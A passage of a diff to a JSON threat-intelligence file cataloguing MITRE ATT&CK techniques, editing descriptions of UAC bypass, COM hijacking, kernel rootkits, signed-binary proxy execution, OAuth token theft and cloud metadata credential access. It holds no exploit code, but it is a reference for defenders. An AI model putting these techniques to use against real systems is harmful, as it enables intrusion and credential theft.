malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.", "meta": { "external_id": "T1066", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1066" ] @@ -5506,13 +5146,6 @@ "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)", "meta": { "external_id": "T1088", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html", @@ -5546,10 +5179,6 @@ "kill_chain": [ "mitre-attack:defense-evasion" ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Process: Process Creation" - ], "mitre_platforms": [ "Linux", "Windows", @@ -5566,13 +5195,6 @@ "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "meta": { "external_id": "T1181", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1181", "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", @@ -5603,11 +5225,6 @@ "kill_chain": [ "mitre-attack:credential-access" ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Process: Process Creation", - "User Account: User Account Authentication" - ], "mitre_platforms": [ "Linux", "Windows", @@ -5626,13 +5243,6 @@ "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", "meta": { "external_id": "T1122", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1122", "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", @@ -5683,7 +5293,7 @@ "value": "Data from Information Repositories - T1213" }, { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised device they are currently accessing or from remote systems by querying for information over the network. \n\n \n\nThis is typically accomplished by utilizing device APIs to collect information about nearby networks, such as Wi-Fi, Bluetooth, and cellular tower connections. On Android, this can be done by querying the respective APIs: \n\n \n\n* `WifiInfo` for information about the current Wi-Fi connection, as well as nearby Wi-Fi networks. Querying the `WiFiInfo` API requires the application to hold the `ACCESS_FINE_LOCATION` permission. \n\n* `BluetoothAdapter` for information about Bluetooth devices, which also requires the application to hold several permissions granted by the user at runtime. \n\n* For Android versions prior to Q, applications can use the `TelephonyManager.getNeighboringCellInfo()` method. For Q and later, applications can use the `TelephonyManager.getAllCellInfo()` method. Both methods require the application hold the `ACCESS_FINE_LOCATION` permission.", + "description": "On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.", "meta": { "external_id": "T1421", "kill_chain": [ @@ -5693,7 +5303,8 @@ "Android" ], "refs": [ - "https://attack.mitre.org/techniques/T1421" + "https://attack.mitre.org/techniques/T1421", + "https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en" ] }, "uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", @@ -5703,13 +5314,6 @@ "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)", "meta": { "external_id": "T1215", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "http://tldp.org/HOWTO/Module-HOWTO/x197.html", "http://www.megasecurity.org/papers/Rootkits.pdf", @@ -5768,12 +5372,6 @@ "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\n", "meta": { "external_id": "T1126", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1126", "https://technet.microsoft.com/bb490717.aspx" @@ -5792,7 +5390,7 @@ "value": "Network Share Connection Removal - T1126" }, { - "description": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", + "description": "Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", "meta": { "external_id": "T1216", "kill_chain": [ @@ -5808,15 +5406,14 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1216", - "https://github.com/LOLBAS-Project/LOLBAS#criteria", "https://github.com/api0cradle/UltimateAppLockerByPassList" ] }, "uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", - "value": "System Script Proxy Execution - T1216" + "value": "Signed Script Proxy Execution - T1216" }, { - "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", + "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files.", "meta": { "external_id": "T1218", "kill_chain": [ @@ -5832,19 +5429,14 @@ "Windows Registry: Windows Registry Key Modification" ], "mitre_platforms": [ - "Windows", - "Linux", - "macOS" + "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1218", - "https://github.com/LOLBAS-Project/LOLBAS#criteria", - "https://gtfobins.github.io/gtfobins/split/", - "https://man7.org/linux/man-pages/man1/split.1.html" + "https://attack.mitre.org/techniques/T1218" ] }, "uuid": "457c7820-d331-465a-915e-42f85500ccc4", - "value": "System Binary Proxy Execution - T1218" + "value": "Signed Binary Proxy Execution - T1218" }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1341).\n\nFor attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)", @@ -5936,12 +5528,6 @@ "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", "meta": { "external_id": "T1514", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1514", "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg", @@ -5963,7 +5549,7 @@ "value": "Elevated Execution with Prompt - T1514" }, { - "description": "An adversary may encrypt files stored on a mobile device to prevent the user from accessing them. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.", + "description": "An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.", "meta": { "external_id": "APP-28", "kill_chain": [ @@ -5984,15 +5570,6 @@ "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.", "meta": { "external_id": "T1158", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1158", "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", @@ -6055,7 +5632,7 @@ "value": "Cloud Storage Object Discovery - T1619" }, { - "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of operating systems they access or through information discovery of remote systems. \n\n \n\nOn Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) Previously, the Android `TelephonyManager` class could be used to gather telephony-related device identifiers, information such as the IMSI, IMEI, and phone number. However, starting with Android 10, only preloaded, carrier, the default SMS, or device and profile owner applications can access the telephony-related device identifiers.(Citation: TelephonyManager) \n\n \n\nOn iOS, gathering network configuration information is not possible without root access. \n\n \n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1422) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", + "description": "On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) The Android `TelephonyManager` class can be used to gather related information such as the IMSI, IMEI, and phone number.(Citation: TelephonyManager)\n\nOn iOS, gathering network configuration information is not possible without root access.", "meta": { "external_id": "T1422", "kill_chain": [ @@ -6078,12 +5655,6 @@ "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", "meta": { "external_id": "T1522", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "IaaS" - ], "refs": [ "https://attack.mitre.org/techniques/T1522", "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html", @@ -6130,25 +5701,6 @@ "uuid": "e754fa49-2db1-416b-92db-7f886decd099", "value": "Generate analyst intelligence requirements - T1234" }, - { - "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, Android is a UNIX-like OS and includes a basic [Unix Shell](https://attack.mitre.org/techniques/T1623/001) that can be accessed via the Android Debug Bridge (ADB) or Java’s `Runtime` package.\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0027) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells. ", - "meta": { - "external_id": "T1623", - "kill_chain": [ - "mitre-mobile-attack:execution" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1623", - "https://partner.samsungknox.com/mtd" - ] - }, - "uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", - "value": "Command and Scripting Interpreter - T1623" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1263).\n\nSecurity defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)", "meta": { @@ -6191,45 +5743,6 @@ "uuid": "fe421ab9-c8f3-42f7-9ae1-5d6c324cc925", "value": "Analyze application security posture - T1293" }, - { - "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", - "meta": { - "external_id": "APP-29", - "kill_chain": [ - "mitre-mobile-attack:exfiltration" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1646", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html" - ] - }, - "uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", - "value": "Exfiltration Over C2 Channel - T1646" - }, - { - "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode, preventing the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode; they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)", - "meta": { - "external_id": "T1642", - "kill_chain": [ - "mitre-mobile-attack:impact" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/", - "https://attack.mitre.org/techniques/T1642", - "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)" - ] - }, - "uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", - "value": "Endpoint Denial of Service - T1642" - }, { "description": "As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.\n\nDetection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.\n\nPlatforms: Android, iOS", "meta": { @@ -6279,15 +5792,7 @@ "https://attack.mitre.org/techniques/T1472" ] }, - "related": [ - { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", "value": "Generate Fraudulent Advertising Revenue - T1472" }, @@ -6305,25 +5810,6 @@ "uuid": "7dae871c-effc-444b-9962-4b7efefe7d40", "value": "Identify sensitive personnel information - T1274" }, - { - "description": "Adversaries may exploit remote services of enterprise servers, workstations, or other resources to gain unauthorized access to internal systems once inside of a network. Adversaries may exploit remote services by taking advantage of a mobile device’s access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. \n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1423) or other Discovery methods. These look for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nDepending on the permissions level of the vulnerable remote service, an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1404) as a result of lateral movement exploitation as well. ", - "meta": { - "external_id": "APP-32", - "kill_chain": [ - "mitre-mobile-attack:lateral-movement" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1428", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html" - ] - }, - "uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", - "value": "Exploitation of Remote Services - T1428" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1256).\n\nAn adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)", "meta": { @@ -6339,7 +5825,7 @@ "value": "Identify web defensive services - T1256" }, { - "description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nIn Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container’s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. \n\n", + "description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nAdversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)", "meta": { "external_id": "T1528", "kill_chain": [ @@ -6352,19 +5838,16 @@ "SaaS", "Office 365", "Azure AD", - "Google Workspace", - "Containers" + "Google Workspace" ], "refs": [ "https://attack.mitre.org/techniques/T1528", "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", - "https://auth0.com/learn/refresh-tokens/", "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens", "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols", "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app", "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow", - "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/", "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/" ] }, @@ -6393,24 +5876,6 @@ "uuid": "09312b1a-c3c6-4b45-9844-3ccc78e5d82f", "value": "Gather Victim Host Information - T1592" }, - { - "description": "Adversaries may circumvent mechanisms designed to control elevated privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can gain on a machine. Authorization has to be granted to specific users in order to perform tasks that are designated as higher risk. An adversary can use several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system. ", - "meta": { - "external_id": "APP-22", - "kill_chain": [ - "mitre-mobile-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1626", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" - ] - }, - "uuid": "08ea902d-ecb5-47ed-a453-2798057bb2d3", - "value": "Abuse Elevation Control Mechanism - T1626" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1269).\n\nThe attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)", "meta": { @@ -6426,9 +5891,9 @@ "value": "Identify people of interest - T1269" }, { - "description": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to exfiltration. \n\n \n\nAccess to local system data, which includes information stored by the operating system, often requires escalated privileges. Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos. On Android, adversaries may also attempt to access files from external storage which may require additional storage-related permissions. \n\n ", + "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system.\n\nLocal system data includes information stored by the operating system. Access to local system data often requires escalated privileges (e.g. root access). Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos.", "meta": { - "external_id": "STA-41", + "external_id": "T1533", "kill_chain": [ "mitre-mobile-attack:collection" ], @@ -6437,8 +5902,7 